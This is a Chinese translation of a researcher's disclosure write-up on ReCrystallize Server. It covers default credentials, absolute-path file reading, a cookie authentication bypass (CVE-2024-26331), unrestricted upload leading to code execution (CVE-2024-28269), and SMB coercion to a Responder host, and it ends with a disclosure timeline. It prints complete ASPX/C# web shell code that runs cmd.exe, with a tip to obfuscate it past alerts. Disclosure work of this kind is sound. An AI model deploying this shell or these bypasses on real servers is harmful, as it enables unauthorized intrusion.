从发现到披露: ReCrystallize 服务器漏洞

译者:知道创宇404实验室翻译组
原文链接:From Discovery to Disclosure: ReCrystallize Server Vulnerabilities

1 前言

在一次评估中,我发现了 ReCrystallize Server 的一个实例。该实例存在许多问题,其中一些与客户端的加固不足有关,而另一些则是我发现的新漏洞。这些漏洞串联在一起时,可以实现远程代码执行 (RCE)。目前漏洞已披露给 ReCrystallize Software 和 MITRE。

除已披露的漏洞外,其中一些“功能”也被用于实现恶意目的。此次研究结果的复制和验证在本人测试环境中完成。

2 寻找漏洞

本文讲述了在 ReCrystallize Server 软件中发现两个漏洞的过程。起初,这只是一次没有任何特殊之处的 Web 应用评估,然而在尝试打印报告时,应用程序抛出了一些错误。

错误信息显示,打印报告时使用了第三方软件。该软件是一名为 “ReCrystallize Server” 的独立应用程序。

从发现到披露: ReCrystallize 服务器漏洞

此前我从未听说过该软件,但我猜测它与 SAP Crystal Reports 有关。这里有两种研究方式,一种是阅读文档并查找该软件的已知漏洞,另一种是直接尝试登录并观察结果。起初我直接选择了后者。

从发现到披露: ReCrystallize 服务器漏洞

我发现 “admin/admin” 或 “admin/password” 这类凭据无法登录,所以又采用了第一种方法,即查找已知漏洞。

从发现到披露: ReCrystallize 服务器漏洞

上图第一个搜索结果有些误导性,该主题与漏洞无关。接下来,我搜索可能的CVE漏洞,搜索结果如下。

从发现到披露: ReCrystallize 服务器漏洞

该应用程序似乎完全安全。但我注意到上图中有一个指向安装指南的搜索结果,我决定尝试安装该软件,或许里面会披露一些有用的信息。

从发现到披露: ReCrystallize 服务器漏洞

事先准备的默认密码列表起初没有起作用,密码的确是 “pw” 。

从发现到披露: ReCrystallize 服务器漏洞

根据图中显示的系统信息、设置、管理文件等,我推测这大概是一个过度赋予权限的进程。于是我尝试在 “管理文件”中上传 Web shell,然而由于没有许可证,该功能无法使用。接下来则是用 “系统信息” 获取系统信息。

从发现到披露: ReCrystallize 服务器漏洞

如图所示,该应用程序在C:盘上运行。这对了解命令执行有效载荷或本地文件包含 (LFI) 漏洞是非常有用的。该进程以 ‘NT AUTHORITY\SYSTEM’ 身份运行,是一个拥有最高权限的本地帐户。在了解 ReCrystallize Server 的安装地点后,可以找出文件的存储位置,同时服务器已加入域(由于实验环境是我设置的,所以不是客户端域)。

管理员功能中有一个“设置”按钮,其下有很多选项,如配置数据库凭据、配置 SMTP 服务器设置等。这些都没有被配置,而我要强调的是其中一个设置。

从发现到披露: ReCrystallize 服务器漏洞

作为管理员用户,我可以使用绝对路径。这里似乎是本地文件包含的开始。

此前提到的安装手册展示了这一点:

从发现到披露: ReCrystallize 服务器漏洞

显然,该应用程序可以查看“folderName”参数中指定文件夹的内容。由于我可以使用绝对路径,我们可以观察该功能是如何运作的。

从发现到披露: ReCrystallize 服务器漏洞

现在可查看“C:\Program Files (x86)”的内容了。在研究应用程序并浏览手册时,我成功地从服务器上下载了文件。

从发现到披露: ReCrystallize 服务器漏洞

我利用这一点来获取网络共享的访问权限,同时提取相关 Active Directory 环境的信息,并获取了数据库凭据。

第二天早上,我在 ReCrystallize Server 的 “加固” 配置中重新测试了此前的研究成果。我发现默认密码已更改,同时绝对路径的使用权限被禁用。

3 CVE-2024-26331

在客户重新配置 ReCrystallize Server 前,我发现在某些情况下,尽管核心应用程序会话过期,但我仍能在第三方软件 ReCrystallize Server 中继续操作。同时,只有 ReCrystallize Server 设置了名为 “AdminUsername=admin”的 cookie。

接下来,分别尝试在没有设置 cookie 的情况下和设置了 cookie 的情况下访问管理员功能。

从发现到披露: ReCrystallize 服务器漏洞

从发现到披露: ReCrystallize 服务器漏洞

从发现到披露: ReCrystallize 服务器漏洞

由此我再次获得管理员权限。

4 CVE-2024-28269

拥有许可证后便可以使用 ”管理文件“功能。而这恰好是一种可以无限制上传文件的方式,因此可以实现 RCE。

上传默认的 ASPX Web shell 可能会引起警报,因此可以适当进行混淆或者实施其他技巧。我创建了report.aspx 和 report.aspx.cs两个文件,其中访问 report.aspx 会执行 report.aspx.cs 中的代码。在这种情况下,我仅执行了 systeminfo 命令。

从发现到披露: ReCrystallize 服务器漏洞

report.aspx的内容:

<%@ Page Language="C#" AutoEventWireup="true" CodeFile="report.aspx.cs" Inherits="Report.Template" %>

<!DOCTYPE html>
<html>
<head>
    <title>Report Template</title>
</head>
<body>
    <h1>Report Results:</h1>
    <pre><asp:Literal runat="server" ID="ReportOutput" EnableViewState="false" /></pre>
</body>
</html>

report.aspx.cs的内容:

using System;
using System.Diagnostics;

namespace Report
{
    public partial class Template : System.Web.UI.Page
    {
        protected void Page_Load(object sender, EventArgs e)
        {
            // Set up process info
            var processStartInfo = new ProcessStartInfo
            {
                FileName = "cmd.exe",
                Arguments = "/c systeminfo", // Replace with your desired target
                RedirectStandardOutput = true,
                UseShellExecute = false,
                CreateNoWindow = true
            };

            // Start the process
            using (var process = new Process { StartInfo = processStartInfo })
            {
                process.Start();
                string output = process.StandardOutput.ReadToEnd();
                process.WaitForExit();

                // Display the output on the web page
                ReportOutput.Text = output;
            }
        }
    }
}

下图展示了调用 report.aspx 后的结果。

从发现到披露: ReCrystallize 服务器漏洞

我与客户达成一致,向 ReCrystallize Software 披露了该漏洞。

5 支线任务

正如本文一开始提到的,ReCrystallize Server 中一些“特性”可能会被滥用。例如使用绝对路径检索文件时,即使关闭了有关使用绝对路径的复选框,也仍可使用多个参数调用 UNC 路径。 SMB 请求被发送到了运行 Responder 的攻击者系统。

从发现到披露: ReCrystallize 服务器漏洞

 

从发现到披露: ReCrystallize 服务器漏洞

如上图所示,事实证明下载文件也可能是在未经身份验证的情况下进行的。

从发现到披露: ReCrystallize 服务器漏洞

即使禁用绝对路径,文件仍可以被获取。下面为无需验证即可下载系统文件的示例。

从发现到披露: ReCrystallize 服务器漏洞

从发现到披露: ReCrystallize 服务器漏洞

从发现到披露: ReCrystallize 服务器漏洞

如下图所示,向外发送 SMB 请求仍然可行。

从发现到披露: ReCrystallize 服务器漏洞

6 建议

总而言之,ReCrystallize Software 应尽快修补上述漏洞。正如后文时间表所示,两年中该漏洞仍没有获得正式补丁。在此期间,若需要使用该应用程序,应尽可能地隔离服务器,使其只对需要的用户开放。

当补丁可用时,应通过确保不允许使用绝对路径、不允许更改默认密码,同时打开加密来加固应用程序本身。

不要忘记保持底层网络服务器的更新从而对其加固,同时确保采用最小权限原则。此外,建议阻止向外发送 SMB 流量。

7 信息披露时间表

  • 2022-09-08 – 向 ReCrystallize Software 披露身份验证绕过和无限制文件上传漏洞。
  • 2022-09-12 – ReCrystallize Software 接受了漏洞,并预计在下一个主要版本中修补。
  • 2022-11-15 – 预期修补日期推迟到 2022 年 12 月或 2023 年 1 月。
  • 2023-03-01 – 请求更新状态,但未收到回复。
  • 2023-07-10 – 请求更新状态,但未收到回复。
  • 2024-02-15 – 向 MITRE 申请了身份验证绕过的 CVE。
  • 2024-02-19 – 保留 CVE-2024-26331。
  • 2024-02-19 – 通知 ReCrystallize Software 关于保留的 CVE 和即将发布的信息。
  • 2024-02-19 – 向 MITRE 请求为无限制文件上传问题添加另一个 CVE。
  • 2024-03-14 – 保留 CVE-2024-28269。
  • 2024-03-14 – 通知 ReCrystallize Software 关于保留的 CVE 和发布提醒。
  • 2024-03-14 – 通知在线使用 ReCrystallize Server 实例的组织。

原文始发于Seebug:从发现到披露: ReCrystallize 服务器漏洞

版权声明:admin 发表于 2024年6月11日 上午9:55。
转载请注明:从发现到披露: ReCrystallize 服务器漏洞 | CTF导航

相关文章